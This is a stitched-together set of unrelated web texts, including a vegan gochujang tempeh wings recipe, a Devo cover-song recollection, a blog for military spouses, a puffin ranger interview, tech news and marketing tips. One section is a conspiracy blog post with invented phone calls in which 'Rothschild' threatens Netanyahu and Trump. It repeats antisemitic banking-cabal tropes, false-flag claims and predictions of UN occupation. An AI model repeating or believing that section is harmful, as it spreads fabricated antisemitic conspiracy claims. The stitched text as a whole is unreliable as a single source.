I've been making way too many recipes with chipotle peppers lately (not that this is actually a problem), and I reallly needed to do something about that. So I decided to take a little culinary trip across the ocean to Korea and have a little affair with gochujang. It's super trendy in the US right now, so there's a good chance it's crossed your path, but in case it hasn't, gochujang is a red chile paste made of fermented soy beans, glutinous rice, sugar, and of course, red chili powder–specifically gochugaru, Korean red chili powder. Due to the fermented nature of the ingredients, it has a lot more depth of flavor than your average chili sauce. Because of this, it's used differently than most chili sauces, and is combined with other ingredients to thin it out and sometimes dilute. Gochujang has a delicious lingering heat that builds slowly in your mouth, but despite that it's actually a rather mild spice. Though, it can also vary a lot in heat level by brand, so check your labels and taste before using. My gochujang is pretty mild, so I use a lot. If yours is spicy you may need to use less (dependent on your spice tolerance).
If you're anything like me–dad an immigrant from Sindh, mom Mayflower/old New England white, and raised vegetarian in a college town in the Midwest–you might not have had much experience with Korean cuisine growing up. Korean food is not the most vegetarian friendly cuisine, a lot of the cuisine is meat-heavy and in the veggie-sounding dishes there's often hidden fish & shrimp sauce. So until more recently, most of my experience with Korean food has been bibimbap and jap chae, as those are both less likely to have invisible non-veg ingredients. And they are delicious, so that's certainly not a bad thing! But as I've branched out a bit with Korean cuisine, I've come to really enjoy and appreciate its bold flavors. So, I'm by no means an expert, but wanted to share my newer found love of Korean flavors with you all with this recipe for gochujang tempeh wings!
Tempeh makes a great vegan 'wing.' It has a great chewy texture, holds up easily to baking and frying. It marinates beautifully, soaking in delicious flavor. It's high in protein, and as it's fermented, the protein is more bio-available. It's also a less processed protein, for people concerned about that. And if you're not sure if you like tempeh, well, when it's doused in a super flavorful sauce and deep fried (or baked if you'd rather), I mean, that's your best chance of liking anything, right? It's also my preferred option if I need a gluten free wing. Everything that goes into these gochujang tempeh wings is gluten free, or has a gluten free version!
The tempeh is hand torn for that rustic misshapen look, er, I mean, 'wing' look. Bathed in a flavorful gochujang and soy sauce marinade. Double battered with starch and bread crumbs for a light and crispy breading. Baked or fried, depending on your mood. Then doused once more in a lime juiced up version of the marinade. When dipped in a gochujang mayo, this indulgent umami-bomb of a treat is ready to be shoveled into your mouth. And maybe shared with some friends and family?
These wings are pretty easy to make, and since they are great both fried and baked (something I find rather unique to tempeh wings), they're perfect for a weeknight meal or a party appetizer. Enjoy them dipped in mayo, or stuffed in a corn tortilla for tacos. Enjoy them with some cooling cucumber on the side! If you've never had gochujang but like bold, umami rich flavors, I think you'll be in for a treat!
If you make these gochujang tempeh wings, let me know! Leave a comment and/or rate the recipe below, tag me on Instagram (or #thecuriouschickpea), or share with me on Facebook! Happy eating!
- Gochujang is getting easier to find in the international section of well stocked grocery stores & natural food stores, can be found at a local Asian market, or purchased online (that's the brand I've used in this recipe, it's not gluten free).
- Check your gochujang for spiciness before using, mine is mild so even in that quantity these aren't very spicy. Yours might be spicier (and that could be a good thing!). Make to your own heat-loving (or not) taste!
- For a fully gluten free wing, make sure you use a GF tamari, and check that your gochujang/mirin/starch/etc are labeled gluten free. And use gluten free bread crumbs (or try a crushed corn cereal). Here's a popular brand of gochujang that's GF and vegan.
- You can bread the wings up to a day ahead of time and fry or bake just before serving. The gochujang mayo can also be made in advance.
P.S. I'm using a flax seed studded tempeh, which is why there are some black flecks in mine! 🙂
Gochujang Tempeh Wings
These gochujang tempeh wings make use of the bold and umami-rich flavors of Korean cuisine in a protein packed vegan wing. They're easy to make and can be either baked or deep fried. They're sure to be a hit at your next party!
- 1 lb tempeh
- 4 cloves garlic, minced or pressed
- 1 tbsp minced or grated ginger (~1" piece)
- 1/4 cup gochujang* (Korean pepper paste)
- 2 tbsp soy sauce
- 2 tbsp mirin
- 1 tbsp toasted sesame oil
- 1 tsp coconut sugar or brown sugar
- 1/2 cup vegetable broth or water
- 1/2-3/4 cups cornstarch or arrowroot powder
- 1/2-1 cup panko style bread crumbs, gluten free if desired
- 1 tbsp fresh lime juice
- green onions for garnish
- oil for baking or frying
Gochujang Mayo
- 1/2 cup mayonnaise
- 2-4 tbsp gochujang
- Tear up tempeh into chunks and place them into a large bowl or baking dish. I tear each 8oz package of tempeh into 8 "wings," for a total of 16 wings.
- In a bowl or a large liquid measuring cup stir together the garlic, ginger, gochujang, soy sauce, mirin, toasted sesame oil, coconut sugar, and broth. Pour it over the tempeh and marinade for 10-30 minutes, flipping occasionally, or place in the fridge to marinate up to overnight.
- When ready to make the wings, either preheat your oven to 425 ºF if baking, or slowly heat about 1" of oil in a heavy bottomed pot over medium-low heat to deep fry.
- Place the cornstarch in one bowl and the bread crumbs in a second bowl. Prepare your tempeh wings by removing each piece of tempeh from the marinade, tossing it in the cornstarch, tapping off any excess starch then putting it back into the marinade, making sure to coat the entire piece, before dipping it into the bread crumbs to coat. Set aside and repeat with the remaining pieces.
- Add 1 tablespoon of fresh lime juice to the remaining marinade and set aside.
- To bake: Place the prepared tempeh wings on a parchment or silicon mat lined baking tray and spray or drizzle with oil. Bake for 10 minutes, then flip and bake an additional 6-10 minutes until golden and cripsy on each side.
- To fry: test that the oil is hot, it should be 350 ºF if checking with a thermometer, or you can test with a small piece of tempeh: the oil should bubble/boil vigorously around it and the piece of tempeh should float to the surface fairly quickly after being dropped in. When the oil is heated, fry in batches, 1-2 minutes on each side, until the wings are a rich golden brown. Remove from oil and place on a paper towel lined plate.
- When the wings are done baking or frying, transfer them back into the bowl with the marinade and toss them to coat in the remaining juice. Remove quickly once coated so they don't get soggy.
- Top with some green onions and serve right away with gochujang mayo for dipping, if desired.
Gochujang mayo
- In a small bowl mix together the mayonnaise and 2 tbsp of the gochujang. Taste and add more gochujang if desired. This can be made in advance.
*gochujang can vary in heat levels between brands. Mine is very mild so even with this much gochujang the wings were not spicy. Check yours for heat before using the full amount if you're heat adverse, you may find you want to use less (or add some chili flakes or cayenne for extra heat)

All the President's Men Are Named Benedict or Arnold
We have fighting in the Middle East that is being ignored by the MSM. The President is silent. Israel has grabbed the military mantle of power in the Middle East and only the Independent Media is reporting any of this. The President's staff is in chaos. He is undermined by Deep State traitors at every turn and the Americans wonder why Trump is so inconsistent. He is inconsistent because almost all of his advisers are named Benedict, Arnold or Jared Kushner. The chaos of this administration was foretold in very accurate terms 7 months ago after the last Syrian false flag attack. The CSS printed this following section back in May of this year. Please look at the emboldened text and count how many of these prognostications came to fruition?
The Art of Deal: How Central Banking Compromises World LeadersRothschild to Netanyahu: Benjamin, you are a criminal of the highest order. Your criminality parallels Hillary Clinton. You are headed for impeachment and imprisonment. Your people have had enough of the declining standard of living. There is a way out for you. As you know we need to preserve the Petrodollar for the good of Western banking, just long enough to where we can gain near total control over the world's economy. Iran is at the center of blocking our goal of a one-world economy by selling oil for gold. Iran must be taken out by any means possible. Syria must be neutralized first before Iran can be taken out. The collapse of Iran will effectively end the BRICS rebellion against the Petrodollar. We would prefer to take down Syria and Iran without a full-scale invasion. That could invite Russian and possibly Chinese intervention. We would prefer a "death by a thousand cuts" approach which would consist of surgical strikes and economic sanctions designed to cripple the two nations. We want to reduce both countries to to the point where they are no longer a benefit to Russia and Russia will come to recognize the futility of continued military support which is destroying their national budget. However, if this approach is not successful in the near-term, we will have to create an incident, a false flag event, and launch an invasion. Should Israel prevail, you and your country will be richly rewarded. If you do not cooperate, the only thing that you will soon be ruling over is the toilet in your prison cell. The choice is yours. Do you want to be a national war hero, or a disgraced and imprisoned leader?? Rothschild to President Trump: Mr. President, I will not be calling that much longer if you do or play ball with us. We can fix it so that your midterm elections are rigged, courtesy of George Soros and friends, and you will subsequently be impeached and maybe even imprisoned. Or you can give us what we need to make every nation a member of the central banks controlled by the Bank of International Settlements. We can make you look like a hero, or you can be a dead man walking. All we want to is unseat Assad and stop Iran from selling oil for gold. Israel will carry the water militarily speaking, but you must supply logistical support. You must be on board with every false flag created excuse for war we create in the Middle East and you need to let Putin know you will nuke his country if he resists. In the meantime, Mr. President, we will make you the hero of the Korean crisis, Your economy, in the short-term, will continue to show signs of life. The millions that you put back to work will sing your praises. You will be re-elected and we will even allow you to prosecute some criminals from the Deep State which will greatly increase your popularity at home. This all ads up to the fact that you can be a tw0-term president. Russia will back down if you remain resolute and we will destroy the BRICS, they will collapse and capitulate. Or, Mr. President, the Trump Towers can have more 50th floor fires, your daughter could really be in danger next time she opposes the Kushner/Soros agenda, and we will not interfere with the autonomy of groups like the Shining Path who want you dead. Also, if you do not cooperate with the Middle East initiative, we will create such havoc from our 5th column forces embedded in your country, thanks to Obama, we will unleash holy hell in your country. The UN will have their excuse to enter the country under the Kigali Principles and you will preside over a bloody civil war where your head will be the number one prize. The choice is yours, Donald. Oh, by the way, part of your Korean agreement must contain a provision where N. Korea becomes a member of central banking.
It is the Israeli's which started the fighting in Syria. We know that Netanyahu is compromised and is facing potential indictment in his country for corruption which can be made to go away if he just does what the globalists want. My sources tell me that Israel's action constitutes a probing action of Russian air defenses which are being utilized by the Syrians. When, not if, Ukraine is attacked these problng attacks on Syrian forces in Damascus will provide invaluable data on how to get around Russian air defense in both Crimea and Ukraine. These are the two areas that I am told that NATO will attack Russia first in a planned unprovoked attack. In April, the President did go along with the Syrian false flag. However, Trump did not play ball with the UN on the border/migration issues and the President's level of misery is increasing exponentially which explains why the globalists put Trump's attorney, Cohen, at the heart of more allegations against the President and my prediction of holy hell being unleashed in America is nearing fruition with even more Soros/UN sponsored caravans coming this way. if my sources are correct, we are about ready to see horrific terror attacks on our soil. Trump will be bent to the will of the globalists. The borders will be open and nobody will be safe from the terrorists streaming across the border. The UN peacekeepers and the Chinese will provide the vanguard of this occupation.
Russia Does Not Trust US
Russian Foreign Ministry spokesperson, Maria Zakhargova is on record as having stated that the beginning of the American troop withdrawal is on the right track. No one European news report say this, but a combination of reports makes it clear that the Russians now see America as trying to diffuse the situation in Syria by announcing a withdrawal. But Zakhargova stated that US has made false promises before along these lines before. It is not that Trump is not trustworthy, it is his advisers. Benjamin Friedman, a Senior Fellow at Defense Priorities sums it up even better when he said on Fox News that it seems as if the President has two defense policies, his own, and that of his advisers. This is something that I have been say all along. Trump would be better off if he appointed Steve Quayle as the Defense Secretary, Doug Hagmann as the Secretary of State, Paul Preston as the National Security Adviser, Paul Martin as the head of the Joint Chiefs, and Bob Griswold as the head of Homeland Security just to name a few. Why these men who have no real professional experience, they would be a marked improvement over what we now have which a regroup of Deep State serving loyalists dedicated to the globalization of the United State. Because my choices for the President's inner circle are intelligent, reasonable, loyal to the preservation of the Constitution and dedicated to the empowerment of every American regardless of gender or racial background, etc., they are a marked improvement over what we presently have. If these men were in charge, the MS-13, ISIS and Muslim Brotherhood interlopers presently in our country would be rounded up, for both their current and past bad acts, and would be immediately deported. Please allow me to use Jared Kushner as a case in point. As previously covered on the CSS, he is in business with Soros. He owes Soros a lot of money. Soros is behind the voter fraud and the caravans attempting to invade our country and Soros' closest ally is allowed access to the White House? Friedman hit the nail on the head when he strongly implied that the President has people, close to him, who are dedicated to the globalist agenda which runs diametrically opposite of his policies.
It seems that all the President's men are named Benedict, Arnold or Jared. And as long as the President maintains a stable of insider advisers, America is going to keep falling to the globalists.

I think it was around 1994 when I was approached to contribute something for a compilation CD of Devo covers. At that time, "Mecha-Mania Boy" was only available (as far as I know) as the B-side of "Jerkin Back And Forth", and it would still be a couple of years before it would be released on a CD. Only hardcore DEVO-TEES (and their close spud friends) had ever heard it – which is a shame, because it was one of their best.
At the time I was also administering a "majordomo" mailing list about the Korg Wavestation, and the individual putting together the compilation was a member, so I wanted to use my Wavestation A/D prominently. I created a patch with two wavesequences that would sync up with the song — the first is the main synth melody using those silly Wavestation percussive voice sounds, and the second is a beat-synced pseudo-sample-and-hold drone that initially sounds random, but in fact the sequence of timbres is quite deliberate. A Roland S-330 sampler provided the drums (mostly TR-505 samples), clangy struck metal and the Moog bass sound, Yamaha DX11 plays the main synth melody, and the ring modulator breakdown in the middle was played on a Yamaha CS40M. The vocoder in the second verse is from the Wavestation A/D.
I can't sing a note, so luckily my friend and co-conspirator Glenn Gibson was willing to lay down the vocal. He was recorded into Logic Audio on an old-school Mac, then the whole thing was mixed down to cassette using a Simmons SPM 8:2 mixer (yup). The cassette sat for about 20 years. Today I digitized the cassette, then applied a little EQ and dynamic processing to create this MP3:
Mecha-Mania Boy (1994)
Unfortunately I failed to submit this recording in time to make the compilation. Back then the internet was a dial-up affair for almost everybody, and MP3s didn't exist yet. Trying to transfer a 30 MB AIFF file using a 14.4 kbps modem was not worth the aggravation. And being young and stupid (and lazy), I failed to send him a master by snail mail.
Then again, maybe the world just wasn't ready.

Sometimes the Strongest…
TBI/PTSD – To Love, Honor and Obey-ish?
The marriage vow "…to love, honor and obey…", is not exactly easy for us to obey. Especially when our very loved military/former military spouse comes home with a TBI or PTSD. That threw my starry-eye vision of love/laughter/rainbows and joy into a bit of confusion and martial turmoil. But, you know, knowledge is power and understanding what has happened to change the love-of-my-life can make a big difference in the re-building a marriage.
Here is a link to an article entitled, Marriage Tips for PTSD $ TBI Families, which gives some very good suggestions to help bridge that gap of "what the heck happened to my husband" to "this will take awhile to get it right, but we can make this marriage work!"
I thought this might be some interest for you Veterans who are having a difficult time getting help from the VA. Below is an excerpt from the announcement from the VA about this new program and a link to the article.
"Many Veterans will now have the option to receive non-VA health care rather than waiting for a VA appointment or traveling to a VA facility.
Beginning November 5, 2014, the new Choice Program will begin to cover non-VA care for eligible Veterans enrolled in VA healthcare. Veterans are eligible if any of these situations apply to you…" CLICK HERE TO READ MORE.
Communication Problems?
It is the silences I remember most. The feeling that even though we could touch each other and loved each other, but we have difficulty really talking to each other. If you, too, are having problems communicating with your loved one, check out this website: http://www.poweroftwomarriage.com/info/how-to-communicate-with-your-spouse/
Now I am not saying that you need to take the course they are obviously selling, but the communication suggestions listed on this webpage are quite good, such as:
"Now, there's a recording in your head of how your parents and the other grownups in your life interacted. That recording forms the foundation — it's the default setting — for how you are likely to talk, fight, or withdraw from your spouse as a grown-up. How your spouse's family talked—or didn't talk—is the most likely source for your spouse's default model for communication in marriage as well.
The first step to learning how to communicate with your spouse is to understand where your communication patterns come from."
If this makes sense to you, check out the link and be sure to view the videos included on the site. They are fun and informative.
Anti-depressants after TBI
I know first hand how a loved ones personality can change after a TBI. It is like they are different, yet the same. Strangely enough you can see the difference in their eyes as well as their mannerisms. Yet, should someone who has experienced TBI and suffers from depression be given anti-depressants? Should they see a doctor while taking these medication? Should they be receiving counseling as well?
Here is advice about TBI and meds by Dr. Brian Greenwald.

The Copernicus Atmosphere Monitoring Service (CAMS), in collaboration with the Swedish EPA, is holding a one day workshop for existing and potential users of CAMS on Monday 26 November 2018 in Stockholm, at the Swedish EPA.
Copernicus is an EU funded Earth observation programme designed to provide data and information freely and openly through six services to tackle environmental challenges and stimulate innovation and economic growth. The Copernicus Atmosphere Monitoring Service (CAMS) provides continuous data and information on atmospheric composition.
Workshop outline
The CAMS user workshops are an opportunity to learn from the experience of existing CAMS users and hear how they apply the data to their work, to meet in person members of the CAMS team and to interact directly with advanced and new users of CAMS products.
During the day:
Registration for the CAMS User Workshop is free; CAMS will provide coffee and lunch during the day, while participants are expected to cover their own cost for travel and accommodation.
If you are willing to present to attendees, either as new user to explain your needs for CAMS products or experienced user to share your experiences and suggestions, please indicate this on the registration form.
A more detailed agenda will follow here.
Who is using CAMS?
CAMS data is already being used by scientists and academics, policy-makers and local planners, as well as business and industry.
Existing CAMS users include
Background to CAMS and future funding
The composition, format and delivery of CAMS services to date has been shaped by feedback from service users from across Europe during the course of the series of MACC projects that led to CAMS. The service, led by the European Centre for Medium-Range Weather Forecast (ECMWF), is fully operational since 2016 with EU funding guaranteed until at least 2020.

- Wall Street's nervous enough with that kid Harry taking over, we've got to get him out.
- -- Donald Menken src
Donald Menken was a high-ranking board member of Oscorp. He was the one to welcome Harry Osborn back to New York. Upon the death of Harry's father, Norman Osborn, and Harry's succession to CEO of Oscorp, Menken and the other board members were humiliated by the younger Osborn in his first board meeting. Menken later spied on Harry's reunion with childhood friend Peter Parker and discussed removing Harry from Oscorp and covering up the accident involving Max Dillon with Oscorp's head of security.
He was involved in the experimentation of Max by Dr. Ashley Kafka at the Ravencroft Institute, and used this as a means to frame Harry and have him removed from Oscorp. Harry later returned with Max, having freed him, and was coerced into taking Harry to the off-the-books "Special Projects Division", where after being forced to inject Harry with Richard Parker's spider venom he witnessed the start of Osborn's resulting transformation before fleeing the building. He dies off-screen.[1]
- Donald Menken is portrayed by Colm Feore in The Amazing Spider-Man 2.
- A deleted scene from The Amazing Spider-Man 2 depicts Harry Osborn killing Donald Menken shortly after he is injected with the spider venom. As this scene did not make the final cut of the film, it can be assumed that Donald Menken is still alive in the continuity of the Amazing Spider-Man films.[2]
- The actor who portrays Donald Menken, Colm Feore, previously portrayed Laufey in the Marvel Cinematic Universe.

The full-sized keyboard cover is bundled within the retail box and it comes with a touchpad and a flexible hinge. The slate is just 6.3mm thin and weighs 693g. It will be available in Wi-Fi and LTE models this February, but the pricing is yet to be announced. Samsung designed two exclusive accessories for the TabPro S - a Bluetooth Pen and an optional port adapter giving you HDMI, regular USB and USB Type-C ports. The slate has just one USB Type-C port, so we guess many people will be opting for the multi-port adapter for...

A medal for Beer Schröder: world citizen and unifier
On behalf of Nuffic, Schröder organised the two-day meeting involving 12 sister organisations, which marked his departure after 36 years at Nuffic. "Beer turned Nuffic into what it is today: a knowledge and service hub with a crucial role in international education, a long and powerful tradition in building capacity and an extensive international network", said Director-General Freddy Weima during his speech. "As a true world citizen, Beer unifies people and organisations."
Schröder did this in a variety of (largely management) positions at Nuffic. In that respect, the emphasis was on what was initially referred to as development cooperation, then capacity building and now global development. Ingrid van Engelshoven recalled Schröder's pioneering work in terms of setting up and developing trade fairs and innovative programmes.
Weima mentioned the Donor Harmonisation Group, which was created partly on the initiative of Schröder a decade ago. It enables organisations that manage programmes in the fields of higher education, research and capacity building to exchange experiences on an annual basis and to endeavour to fine-tune their activities to one another.
Common vision
The Minister thanked Schröder for his contribution to the dissemination of knowledge and expertise and to students, lecturers and policymakers. "Through your work, you have made a significant contribution to the standing of Dutch higher education worldwide." Here, she was alluding to Schröder's contribution to the creation of the common vision on internationalisation of the Association of Universities in the Netherlands (VSNU) and the Association of Universities of Applied Sciences.
After her words of praise, Van Engelshoven pinned on the decorations accompanying the title 'Officer in the Order of Orange-Nassau', to loud cheers.
Big 4
In recent years, Schröder was an advisor to Nuffic's management team, in which capacity he played a role in bolstering relations with sister organisations. For instance, said Weima, he was the driving force behind the Big 4: the meetings with Campus France, the German Academic Exchange Service (DAAD) and the British Council. "As the smallest of the four countries, we always took pride in being able to refer to ourselves as one of the Big 4, but thanks to Beer we were always a fully-fledged member of that network."
Schröder will continue to be active for a while. For example, he is part of the Rainbow Task Force, which is advising the EAIE on diversity and making education more accessible and more inclusive.

Meet the ranger on puffin patrol
Gwen Potter is a countryside manager looking after the Northumberland Coast and all of its inhabitants.
That includes taking care of the puffins that nest on the Farne Islands between April and July every year. We met up with her to find out a bit more about what this entails.
What's so special about puffins, Gwen?
They are one of the UK's most recognisable birds and they are beautiful and funny. They usually pair up for life. I love to watch them rub their bills together like a kiss.
Why do they nest on the Farnes?
Puffins need four things to breed: soft soil to burrow in to lay their egg; somewhere far from most predators; fairly cold temperatures; and seas full of fish. The Farnes have all these.
How many chicks do they have?
Each pair raises only one chick, so they work hard to care for it. They fly miles out to sea and bring fish back for it.
What are baby puffins like?
The chicks in the burrows are known as pufflings. They are fluffy because they have lots of feathers to keep them warm.
Why do you count them?
Puffin numbers are falling across the UK, so we count ours every five years to understand if the work we're doing to help them breed successfully is making a difference.

When just starting out with a new business, entrepreneurs typically focus all of their efforts, resources and budget on marketing to a small niche of consumers. This niche could be determined by a geographic location, a particular age group (or other common demographic), or specific hobby enthusiasts, for example.
Eventually, most owners will want to scale their business up and increase their market reach. But when you've been so tightly focused, going wider can seem a challenge.
In this blog post we'll take a look at 4 ways you can widen your reach in the coming weeks and months.
- Focus on the Best Keywords
If a good chunk of your sales each month happen from consumers finding you online after they've submitted a search query to Google (or their search engine of choice), then it's time to hunt for new search terms you can rank for.
If you don't have a keyword tool you're already using, there are plenty of free options available. Look for terms that are relevant to your specific product or service, and make sure you go for the low hanging fruit that will be easier to rank for.
Once you've come up with another list of keywords to rank for, monitor the kind of traffic those terms bring to your website or blog. Is that traffic cold, lukewarm or hot? Is it converting?
Also, you'll want to analyze your current traffic and see which terms are bringing you - not the most traffic - but the BEST. When you know which terms, new and old, are performing the best, spend your time and resources on those.
- Try Out New Online Channels
When you first began marketing your business, you sat down and came up with a plan, and in that plan were the channels you decided you'd use to reach your ideal targets. Maybe you decided that a little Facebook, some Youtube and a blog post each week would work well for you.
Now that you want to reach even more or slightly different people, go back to that list and see what channels you haven't explored yet. If you are targeting a whole new group of people, do some research to find out where these prospects hang out and what kind of information they like to consume.
Don't feel the need to add 10 more channels. Pick one new one and explore that for a while. Monitor your progress to see if this new channel is giving you the reach and reaction you were hoping for. If so, great, stay with it a while and when ready, add another channel. If it's not working, let it go and focus your attention on a new channel.
- Go Offline
It's amazing how many people completely forget to market offline. To them, the Big Bang happened with the advent of the Internet. Before then, there was no life, no thing.
We find time and time again that offline channels are some of the most effective for our clients. If you haven't yet tried TV, radio, newspaper or magazines, consider adding these strategies to your campaigns.
And, for those businesses geared toward baby boomers – you know, the segment of the population that has the most disposable income to spend – try print. Studies have found that baby boomers trust print ads more than online ads.
- Get a Fresh Perspective
Sometimes we think we need to do something differently to improve our results. For example, I have friends who have tried every fad diet and piece of exercise equipment but have gotten ZERO results. Is it the eating plan or equipment that's not working, or are my friends simply not using the tools quite right?
It may be that the marketing methods, tools and channels you are currently using are more than enough to generate the traffic and revenue you desire, but you're just not quite using everything to your advantage.
It's always a great idea to get a new set of eyes on your campaigns to see if improvements could be made. Working with a media buyer can help you to fully understand the effects of your marketing efforts.
A skilled media buyer can help you determine whether you are targeting the right consumers and using the right channels and creatives. Plus, thanks to their negotiating skills, they can help you get much better deals than you are probably currently getting.

hello, I recently (last monday) purchased the Asus F3JA laptop from scan for £800. However, I have just realised, after some research, that my new laptop might not be compatible with 64-bit!!!! :eek: :(
It is running on the Yonah Core, could anyone confirm 64 bit compatiblity?
What do you think I should do? Would Asus' warranty cover an upgrade?
Thanks in advance,

New software projects are the fuel that powers the contemporary economy, but it's easier said than done to run a successful project without a hitch. Despite the fact that developers are beginning to master the art of software project management, many newcomers to the field are struggling to get started.
The first step is to know what foolish mistakes to avoid. By following these tips, you can guarantee your team is up to snuff, and that you have everything it takes to run a software project successfully from the very start.
A booming market
It's indisputable that the digital age has generated a booming market that's regularly demanding for new innovations in the field of software development. Aspiring developers are thus kicking off new software projects left and right, but few are able to successfully complete every software project they engage on, and many are left wondering if there's an easier way to manage their time. The secret to a successful software project is the careful management of your time and efforts, so the first thing you need to do is establish a clear set of goals and break down the task in front of you.
Rookies always fail to plan – first and foremost, you should make it clear from the get-go what your ultimate objective with this project is. You should have a list of goals that include things you must accomplish, and those minor achievements you can leave behind in the event you get time-strapped or exhaust your budget. Next, you can get started on assembling the team of professionals you'll need if you really want a project that stands out in the market.
Training a software project team isn't easy, but there are tried-and-tested methods you can rely upon if you're struggling. First and foremost, take a look at the mistakes made by others, and review the ways that professionals assemble their own software project teams. Remember to carefully gauge each new addition to your team with how much your budget can afford – many projects expire early because of a frantic-hiring spree at the start that sees funds dry up quickly.
It's important your team is roped in on every development, and that clear lines of communication are established so that no one is left in the dark or feels as if they're going unheard. Ideas can come from any part of your team, so don't get caught in the old rut of thinking that only senior project managers or you can come up with the good ideas that need broader consideration from the group.
Finding your niche
Many software projects go rogue because they become far too vague – teams lose their sense of purpose as development drags on, and a project is finished early with less than stellar results. If you want to avoid this, finding your niche is essential – successful software projects always tackle narrow obstacles, focusing on providing a useful solution to a business or technology provider that ensures it will be used for many more years.
Meticulously documenting every aspect of your development process will help you iron out which areas you excel in versus which you're weak in. You should also begin implementing project management techniques, such as agile project management, at this stage so you have clearly defined list of features and deliverables from the start. If you notice partly through your development trials that your team is particularly strong in a certain area, don't be afraid to pivot to create a software project that emphasizes your strengths more than your initial idea did. As long as you remain committed to your overarching goal and measure your time out carefully, some deviation from the norm is perfectly acceptable and indeed can produce innovative results.
Finally, you need to listen to the experts, and follow the footsteps of established software projects so you don't fail early on. This doesn't mean you should be a copycat, of course – fresh thinking and new approaches should always be explored. Nonetheless, there are proven methods of success that will by and large benefit your team much more than others. Take a look at what some of the pros at IBM suggest when it comes to detailing a successful software project, and you'll identify some of the common themes that pervade huge successes.
Focusing too much on the tech at hand rather than your human talent, for instance, is a mistake that far too many software development teams make when they're trying to be cutting-edge. By focusing too much on the software or on shiny gadgets, you can lose a crucial human element that makes your team stand out. The right development process will essentially champion your brightest developers and enable them to succeed, which in turn will produce tremendously effective results. Software projects can't be rushed and finished overnight, but if you take carefully measured steps, you'll soon find yourself successfully finishing your latest project in no time.

In response to Bush's appointment of someone whose not particularly fond of the U.N. as the ambassador to the U.N., Mark Steyn has these perfectly put thoughts:
The New York Times wondered what Mr. Bush's next appointment would be: "Donald Rumsfeld to negotiate a new set of Geneva Conventions? Martha Stewart to run the Securities and Exchange Commission?"
OK, I get the hang of this game. Sending John Bolton to be ambassador to the U.N. is like ... putting Sudan and Zimbabwe on the Human Rights Commission. Or letting Saddam's Iraq chair the U.N. Conference on Disarmament. Or sending a bunch of child-sex fiends to man U.N. operations in the Congo. And the Central African Republic. And Sierra Leone, and Burundi, Liberia, Haiti, Kosovo, and pretty much everywhere else.
All of the above happened without the U.N. fetishists running around shrieking hysterically. Why should America be the only country not to enjoy an uproarious joke at the U.N.'s expense?
Go read the rest. The part about George Schultz is awesome to.

The Optical Fiber Communication Conference and Exhibition (OFC) is a global conference established to advance optical communications by bringing industry players together so they can teach and learn from each other on the major trends and technological advances taking place in the segment. This year, close to 600 companies are represented at the OFC in Los Angeles, including Nokia (News - Alert). The Finnish company announced some new innovations to help operators build end-to-end cloud connectivity networks with the expansion of its flagship optical product family. According to the company, it will be exhibiting the new product as OFC continues from March 21-23.
From the end user's point of view, whether it is an enterprise or consumer, getting the massive amounts of data to them is proving to be more challenging as high bandwidth intensive content is being consumed by almost everyone across devices and platforms at all times of the day. For cloud and content providers, delivering a better user experience will require distributing content and online services from huge data centers to metro and regional edge data centers and co-location facilities. This will improve the user experience by lowering the latency and providing access to higher bandwidth.
Nokia is addressing this challenge by providing the technology network operators will need for end-to-end, high-capacity cloud connectivity networks. And it is doing so by expanding the 1830 family of products, which will include carrier Ethernet and wavelength services delivery with the 1830 Photonic Service Demarcation (PSD), as well as high performance DCI in the 1830 Photonic Service Interconnect (PSI).
The Nokia 1830 Photonic Service Interconnect product family is a scalable, secure, flexible data center interconnect (DCI) for today's cloud ecosystem. The 1830 line provides optimized optical network solutions as enterprises, Internet content providers (ICP) and service providers shift to cloud-based IT services.
The new innovations will allow the 1830 PSD to support Ethernet and wavelength services by providing end-to-end service assurance and extending metro optical networks to the customer premise for high-capacity access to cloud services. The 1830 PSI can maximize spectral efficiency and distance for metro, long haul, and subsea networks using its unique format to integrate the super coherent technology of the Photonic Service Engine 2 (PSE-2s) into a data center physical and operational form-factor.
The high capacity and low latency aggregation required to connect cloud service consumers to metro colors and edge data centers is going to be addressed with the new 100G line cards, for the 1830 Photonic Service Switch. It will be powered by the PSE-2 Compact (PSE-2c) metro-optimized 100G digital signal processor, and the new 100G OTN and packet cards will efficiently transport packet and OTN services in a compact, cost-effective form factor.
The new additions to the Nokia 1830 Photonic product family will be available in the first half of 2017.

I remember seeing that Hologram was going to trend big again but boy was I surprised at an impromptu trip to Barneys.com this evening.
Well, first off, I was at Urban Outfitters the other day and saw a holographic wedge sneaker. I almost did it. I had to but I decided I'm not that tacky.
Saturday, after work, I took a random trip to Copley Place and snuck into Barney's. One of those places that is just a good source of inspiration and if you have some extra cash to drop, well drop it there for the latest and one of a kind in Boston if you aren't going to Riccardi or Louis's. Back to the story at hand…….
As you know, I love sneakers. I'm a sneaker fanatic. So popping upstairs, I came across these jeans called Raleigh and noticed the mannequins dressed with jeans matching sneakers in pony hair. Which happened to actually be either Margiela's or Creative Reaction. I went online when I got home to check the price cause I didn't want to ask nor really look at the bottom of the shoe.
The Margiela's are amazing. Like they are truly one of a kind. At $995 a bit of a splurge but hey, your feet have to look good, right? Well, the Creative Reaction are just as cool and a fraction of the price at $190! Back to business though…….
So I wanted to look at denim and see what they have. Of course, I stroll through and see Balmain, Rag and Bone, etc. Then I come across the greatest jeans on earth!!!
So what do you think? Could you see yourself rocking this trend? I totally could and I will! These jeans and shoes are way too cool to pass up?

Sept. 6 (UPI) — Season 9 of "The Walking Dead" will pick up 18 months after Season 8 of the zombie-apocalypse drama ended, AMC revealed in an official synopsis Wednesday.
"By making the unilateral decision to spare Negan, Rick upheld the values his late son, Carl, championed in order to build for the future, but created conflict within his group," the cable network said in a press release.
"Now, we see our survivors a year and a half after the end of the war, re-building civilization under Rick's steadfast leadership. It is a time of relative peace among the communities as they work together, looking to the past to forge the future, but the world they knew is rapidly changing as man-made structures continue to degrade, and nature takes over, changing the landscape and creating new challenges for our survivors."
Peace and safety do not last for long, however.
"As time passes, the communities confront unexpected obstacles, danger, and of course, walkers, but nothing quite prepares them for the formidable force they are about to encounter, which threatens the very idea of civilization that our survivors have worked so hard to build," the synopsis teased.
Andrew Lincoln announced last month that he is leaving his role of the heroic leader Rick, although how he will be written off the show remains a mystery. Carl, played by Chandler Riggs, was killed off in Season 8.
The series co-stars Jeffrey Dean Morgan as Rick's foe Negan. Playing Rick's closest friends are Lauren Cohan as Maggie, Norman Reedus as Daryl, Danai Gurira as Michonne and Melissa McBride as Carol.
Season 9 is to begin Oct. 7.

IDA Writing Alert: "Elephant In A Bubble" Isn't Science, It's A Sideshow!March 16th, 2008 2:48 pm by mad mags
———- Forwarded message ———-
